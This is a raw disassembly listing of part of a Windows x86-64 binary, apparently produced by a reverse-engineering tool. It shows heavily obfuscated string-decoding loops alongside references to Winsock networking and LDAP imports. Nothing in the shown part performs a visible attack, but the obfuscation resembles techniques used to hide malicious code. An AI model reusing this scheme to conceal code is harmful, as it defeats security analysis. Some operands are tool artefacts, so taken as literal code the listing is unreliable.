lea rax, [r9 + 9]
cmp r8, rax
ja 0x140079f3c
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140079f19
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140079cf0
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x7a]
jmp 0x140079cf0
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
jmp 0x140079ce0
lea rdx, [rdi + r12]
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140079c73
movabs rdx, 0x4b7d38bec09c0e1c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x2496bc2756c29404
jmp 0x140079bfe
movabs rcx, 0x2eb79d0efb122a0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x14007a752
movabs rcx, 0xb9be0182422bfa98
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
inc r9
dec rdi
inc rdi
jmp 0x140079be2
movabs rdx, 0x7090893394a6d290
mov ecx, 8
jmp 0x14007a791
movabs rdx, 0x276310e4e721aa88
mov ecx, 0x24
jmp 0x14007a3d5
movabs rcx, 0xde359896399c8280
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140079be2
movabs rcx, 0x950820478c175a78
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140079be2
movabs rcx, 0x4bdaa7f8de923270
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
jmp 0x14007a6a4
movabs rdx, 0x2ad2faa310d0a68
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007a89f
movabs rdx, 0xb97fb75b8387e260
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xbd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140079be2
movabs rcx, 0x28e0a96d1bafe4c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
mov byte [rbp + rdi + 0xbd0], r11b
inc rdi
jmp 0x140079be2
movabs rdx, 0xb96092482435d644
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 8
jb 0x14007a09b
movabs rcx, 0x940ef7ac9186f998
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x50]
jmp 0x14007a752
movabs rdx, 0x703319f976b0ae3c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x2a
jae 0x14007a5fc
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x14007a523
movabs rdx, 0xb8484499ca536948
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
jmp 0x14007a0c2
movabs rcx, 0x2705a1aac92b8634
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x14007a62b
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x14007a3ee
movabs rdx, 0xb7ead55fac5d44f4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_46
jmp 0x14007a110
movabs rdx, 0x2309b5cb3c4d9f8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xbd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140079be2
movabs rdx, 0xb903230e063fb1f0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007a89f
movabs rcx, 0x6fd5aabf58ba89e8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x14007a6a4
movabs rcx, 0x26a83270ab3561e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140079be2
movabs rdx, 0xdd7aba21fdb039d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140079be2
movabs rdx, 0x944d41d3502b11d0
jmp 0x14007a3d0
movabs rcx, 0x4b1fc984a2a5e9c8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
dec rdi
inc rdi
jmp 0x140079be2
movabs rcx, 0x1f25135f520c1c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
inc r9
dec rdi
inc rdi
jmp 0x140079be2
movabs rcx, 0xb8c4d8e7479b99b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
jmp 0x14007a752
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14007a34b
movabs rcx, 0x2496bc2756c29404
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x14007a16d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007a38d
movabs rdx, 0xbade743bec48a8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xbd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140079be2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007a3b9
movabs rcx, 0x9315cf1196f698b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
jmp 0x14007a6a4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007a16d
movabs rdx, 0x6e9e37fd9f8610d0
mov ecx, Ordinal_41
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007a7ce
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14007a40b
movabs rdx, 0x1184dae59e26cfc
mov ecx, select
jmp 0x14007a73e
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007a43d
movabs rcx, 0x93733e4bb4ecbd0c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x54
dec rdi
inc rdi
jmp 0x140079be2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007a46e
movabs rdx, 0xdca0b69a6271e514
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007a7ce
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007a4b2
movabs rdx, 0x25ce2ee90ff70d1c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140079be2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007a4f3
movabs rdx, 0x6efba737bd7c3524
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140079be2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007a11c
movabs rcx, 0xb8291f866b015d2c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
jmp 0x14007a6a4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007a560
movabs rcx, 0x175bce877d89150
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
movzx eax, byte [rbp + rdi + 0xbd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140079be2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007a57d
movabs rdx, 0x93d0ad85d2e2e160
mov ecx, Ordinal_50
jmp 0x14007a690
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007a5a9
movabs rcx, 0x6f591671db725978
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
jmp 0x14007a7ce
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007a5db
movabs rcx, 0xb8868ec088f78180
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x140079be2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007a0ce
movabs rdx, 0x4ae17f5de401d190
mov ecx, 8
jmp 0x14007a73e
movabs rdx, 0xdd3c6ffb3f0c21a0
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0xbd0]
sub r11b, al
sub r11b, 0x60
add r11b, dl
add r11b, bl
jmp 0x14007a7ce
movabs rdx, 0x2669e849ec9149a8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x14007a6a4
movabs rcx, 0x92f6a9fe37a48c9c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x44
movzx eax, byte [rbp + rdi + 0xbd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140079be2
movabs rdx, 0x9bb960dc9a3c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x4b00a4714353ddac
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xbd0], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x14007a89f
movabs rcx, 0x25135074d40ac474
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
jmp 0x14007a7ce
movabs rdx, 0x92b85fd779007464
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140079be2
movabs rdx, 0x498ae788cb7b4c5c
mov ecx, 0x3e
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0xb8a5b3d3e8498d9c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x44
add cl, bl
mov byte [rbp + rdi + 0xbd0], cl
inc r9
dec rdi
inc rdi
jmp 0x140079be2
movabs rdx, 0x24d5064e1566ac3c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140079be2
movabs rcx, 0xdba78dff67e18434
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
movabs rcx, 0x1d32c2295ceb5a4
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x7c
add bl, cl
add bl, r11b
mov byte [rbp + rdi + 0xbd0], bl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140079be2
movabs rcx, 0x927a15b0ba5c5c2c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x34
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140079be2
movabs rdx, 0x494c9d620cd73424
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140079be2
mov rbx, r10
movabs rcx, 0xb6f1acc4b1cce414
add rcx, rdi
and r10b, cl
mov eax, Ordinal_60
sub al, r10b
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
movabs rdx, 0x6f9760989a1671b0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xbd0], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xbd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140079be2
movabs rcx, 0x6dc434760447bc0c
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x54
movzx eax, byte [rbp + rdi + 0xbd0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140079be2
movabs rdx, 0x24fc0701316e614
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140079bde
movabs rcx, 0xb92248216591be0c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x54
jmp 0x140079bc6
lea rcx, [rbp + 0x17b7e80]
jmp 0x14007a981
lea rcx, [rbp + 0xfe1284]
jmp 0x14007a981
lea rcx, [rbp + 0xbd0]
mov rdx, rsi
call fcn.1400353f0
lea rcx, str.Settings
call fcn.140035f00
lea rdx, [0x14021ae90]
lea rcx, [rbp + 0x540]
call fcn.1400022f0
mov rdx, rax
mov rcx, qword [0x140220748]
call fcn.1400693e0
mov rcx, rax
call fcn.14006a7f0
mov r14, rax
movsxd rcx, dword [rax]
lea rsi, str.Head
mov r15, qword [rsi + rcx*8]
mov byte [rbp + 0xbf8], Ordinal_143
mov byte [rbp + 0xbf9], 0x5e
mov byte [rbp + 0xbfa], __WSAFDIsSet
mov byte [rbp + 0xbfb], WSAGetLastError
mov byte [rbp + 0xbfc], Ordinal_211
mov byte [rbp + 0xbfd], 0x81
mov byte [rbp + 0xbfe], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xbff], 0x61
mov byte [rbp + 0xc00], 0x60
mov byte [rbp + 0xc01], 0xf5
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc02], xmm0
mov qword [rbp + 0xc12], rax
mov byte [rbp + 0xc1a], al
movabs r12, 0xb4e96b32678f42b6
movzx r11d, byte [rsp + 0x40]
nop
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
movabs rdx, 0x7082ea1cde3a580a
movabs rcx, 0xf03be0887ed60f5e
cmp rdi, 0x23
jae 0x14007b7fe
movzx ebx, byte [rbp + rdi + 0xbf8]
mov r10, rbx
nop dword [rax + rax]
cmp r8, rdi
ja 0x14007b7f5
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007aaab
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x6e
jmp 0x14007aac0
je 0x14007b762
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007b6ff
nop
cmp r9, rdi
ja 0x14007b7ec
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x14007aaf8
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x7082ea1cde3a580a
jmp 0x14007ab50
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007b6a9
inc rax
cmp r8, rax
je 0x14007b67d
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007b654
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007b61c
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007b5b2
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007b57e
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14007b1de
nop dword [rax]
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14007b1b9
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14007b188
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14007b15f
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14007b13b
lea rax, [r9 + 9]
cmp r8, rax
je 0x14007b118
lea rax, [r9 + 8]
cmp r8, rax
je 0x14007b0e5
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007b0bd
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007b098
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007b05f
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007ab60
lea r8, [r9 + 0x64]
lea r9, [r8 + 2]
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14007b7c4
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14007b79c
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14007ad5d
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14007ad3a
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14007ad14
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14007b006
lea rcx, [r9 + 0x5a]
cmp r8, rcx
jb 0x14007afa1
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14007af50
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14007af1d
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14007ab60
mov r8, rcx
lea r9, [rcx + 0x20]
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x14007aee4
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x14007aebf
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x14007ae97
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x14007ae64
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x14007ae41
lea rax, [r9 + 0x3e8]
cmp rcx, rax
ja 0x14007ae1d
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x14007adef
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x14007adbe
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x14007ad99
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x14007ab60
lea r8, [r9 + 0x200]
lea r9, [r8 + 4]
jmp 0x14007ab60
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub dl, 0x46
add r11b, dl
movabs rdx, 0x7082ea1cde3a580a
jmp 0x14007ab50
movabs rcx, 0x900b290be08e394e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x22
jmp 0x14007aac0
movabs rdx, 0xaf9367fae2e21a92
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x7082ea1cde3a580a
movabs rcx, 0xf03be0887ed60f5e
jmp 0x14007aa78
movabs rdx, 0xa74b59933c7a15b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007b6c8
movabs rdx, 0xc6d398823ecdf6f4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x14007aa52
movabs rdx, 0xe65bd7714121d838
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14007aa52
movabs rdx, 0x5e416604375b97c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x64
jmp 0x14007b71e
movabs rcx, 0x256c554f45c99ac0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
jmp 0x14007b74a
movabs rcx, 0x44f4943e481d7c04
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1c
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007aa52
movabs rdx, 0x647cd32d4a715d48
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007b54b
movabs rdx, 0x8405121c4cc53e8c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007b5d1
movabs rdx, 0xa38d510b4f191fd0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xbf8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007aa52
movabs rdx, 0xf261ee60d4ead2fa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
mov byte [rbp + rdi + 0xbf8], r11b
inc rdi
jmp 0x14007aa52
movabs rdx, 0x11ea2d4fd73eb43e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r9, 0x2a
jb 0x14007af40
movabs rdx, 0xb7db7662894a1f74
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x58]
jmp 0x14007b6cb
movabs rdx, 0x31726c3ed9929582
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r8, 0x80
jae 0x14007b505
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x14007b3fe
movabs rdx, 0xf32debb8a090ec1c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007af73
movabs rdx, 0x50faab2ddbe676c6
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6a
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x14007b531
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x14007b2e8
movabs rdx, 0x3e4480863901a966
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
jmp 0x14007afb8
movabs rdx, 0x3d78832e6d5b9044
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xbf8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007aa52
movabs rdx, 0x5d00c21d6faf7188
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007b5d1
movabs rdx, 0x7c89010c720352cc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007b54b
movabs rcx, 0x9c113ffb74573410
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x70
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007aa52
movabs rcx, 0xbb997eea76ab1554
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4c
jmp 0x14007b74a
movabs rdx, 0xdb21bdd978fef698
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x28
jmp 0x14007b71e
movabs rcx, 0xfaa9fcc87b52d7dc
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 4
dec rdi
inc rdi
jmp 0x14007aa52
movabs rdx, 0x1a323bb77da6b920
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x14007aa52
movabs rdx, 0x39ba7aa67ffa9a64
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007b6c8
lea rax, [r9 + 4]
cmp r8, rax
jae 0x14007b20c
movabs rdx, 0xf03be0887ed60f5e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007b025
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14007b24e
movabs rdx, 0x69d2d664cf1e856c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xbf8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007aa52
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007b27f
movabs rdx, 0xebb1daa8c5cf005c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007b74a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007b2ad
movabs rdx, 0xcc299bb9c37b1f18
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007b71e
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007b028
movabs rdx, 0xaca15ccac1273dd4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14007aa52
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007b316
movabs rdx, 0x1ebc419736adc822
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007b6c8
inc rax
cmp r8, rax
jne 0x14007b34a
movabs rcx, 0xff3402a83459e6de
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x12
inc r9
dec rdi
inc rdi
jmp 0x14007aa52
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007b37c
movabs rcx, 0xdfabc3b93206059a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x36
dec rdi
inc rdi
jmp 0x14007aa52
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007b3bd
movabs rdx, 0x811306ec2b0a61ce
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
